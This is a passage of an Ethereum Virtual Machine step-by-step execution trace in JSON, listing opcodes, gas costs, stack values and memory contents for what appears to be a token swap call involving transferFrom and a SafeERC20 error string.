00000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15460,"op":"LT","gas":95577,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x80","0x64","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15461,"op":"ISZERO","gas":95574,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x80","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15462,"op":"PUSH2","gas":95571,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x80","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15465,"op":"JUMPI","gas":95568,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x80","0x1","0x3c79"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15481,"op":"JUMPDEST","gas":95558,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15482,"op":"DUP4","gas":95557,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15483,"op":"DUP2","gas":95554,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x80","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15484,"op":"GT","gas":95551,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x80","0x64","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15485,"op":"ISZERO","gas":95548,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x80","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15486,"op":"PUSH2","gas":95545,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x80","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15489,"op":"JUMPI","gas":95542,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0